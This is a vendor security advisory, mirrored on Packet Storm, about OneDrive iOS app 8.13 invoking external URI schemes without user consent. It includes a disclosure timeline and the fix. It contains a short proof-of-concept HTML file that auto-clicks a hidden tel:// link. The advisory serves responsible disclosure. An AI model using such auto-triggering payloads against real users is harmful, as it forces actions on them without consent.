Microsoft OneDrive iOS App 8.13 Insecure URI Scheme Handling

2017-05-10T00:00:00
ID PACKETSTORM:142463
Type packetstorm
Reporter Siddhartha Tripathy
Modified 2017-05-10T00:00:00

Description

                                        
                                            `A short demo video is available here:  
https://youtu.be/0jZdM9peVSk  
  
  
SEC Consult Vulnerability Lab Security Advisory < 20170510-0 >  
=======================================================================  
title: Insecure Handling Of URI Schemes  
product: Microsoft OneDrive iOS App  
vulnerable version: 8.13  
fixed version: 8.14  
impact: Medium  
homepage: https://onedrive.live.com/  
found: 2017-04-10  
by: S. Tripathy (Office Singapore)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult  
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow  
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"Do more wherever you go with Microsoft OneDrive. Get to and share your  
documents, photos, and other files from your iOS device, computer (PC or  
Mac), and any other devices you use. Use the Office mobile apps to stay  
productive and work together, no matter where you are. The OneDrive app  
for iOS lets you easily work with your personal and work files when  
you're on the go."  
  
Source:  
https://itunes.apple.com/us/app/microsoft-onedrive-file-photo-cloud-storage/id477537958?mt=8  
  
  
Business recommendation:  
------------------------  
SEC Consult recommends to implement a proper validation to handle the URI  
schemes. Always ask for user permission before calling an external URI scheme.  
  
  
Vulnerability overview/description:  
-----------------------------------  
1) Insecure Handling of URI Schemes  
  
Due to the lack of URI schemes validation any external URI scheme can be  
invoked by the Microsoft OneDrive iOS application with out any user  
interaction.  
  
  
Proof of concept:  
-----------------  
1) Insecure Handling of URI Schemes  
  
An attacker can upload and share a malicious HTML file to invoke an  
external URI scheme. Once the file is accessed by any OneDrive user with  
an iOS device, the external URI scheme will be invoked automatically.  
  
Example of a malicious HTML file:  
  
============================================================================  
<html>  
<body>  
<a id="callme" href="tel://1-xxx-xxx-xxx" style="display:none">click</a>  
<script>  
var t = document.getElementById("callme");  
var fe = document.createEvent("MouseEvents");  
fe.initEvent("click", true, true);  
t.dispatchEvent(fe);  
</script>  
</body>  
</html>  
=============================================================================  
  
  
Vulnerable / tested versions:  
-----------------------------  
The following version is affected by the identified vulnerability which  
was the most recent version at the time of discovery:  
  
Microsoft OneDrive iOS application v8.13  
  
  
Vendor contact timeline:  
------------------------  
2017-04-11: Contacting vendor through secure@microsoft.com  
2017-04-12: Vendor confirmed the vulnerability.  
2017-04-21: Vendor released the updated version.  
2017-05-10: Public release of advisory.  
  
  
Solution:  
---------  
SEC Consult recommends to implement a proper validation to handle  
the URI schemes. Always ask for user permission before calling a URI scheme.  
  
Update to OneDrive v8.14  
https://itunes.apple.com/us/app/microsoft-onedrive-file-photo-cloud-storage/id477537958?mt=8  
  
  
Workaround:  
-----------  
None  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
  
SEC Consult  
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow  
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich  
  
About SEC Consult Vulnerability Lab  
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and application security to stay ahead of the attacker. The SEC Consult  
Vulnerability Lab supports high-quality penetration testing and the evaluation  
of new offensive and defensive technologies for our customers. Hence our  
customers obtain the most current information about vulnerabilities and valid  
recommendation about the risk profile of new technologies.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
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EOF Siddhartha Tripathy / @2017  
  
`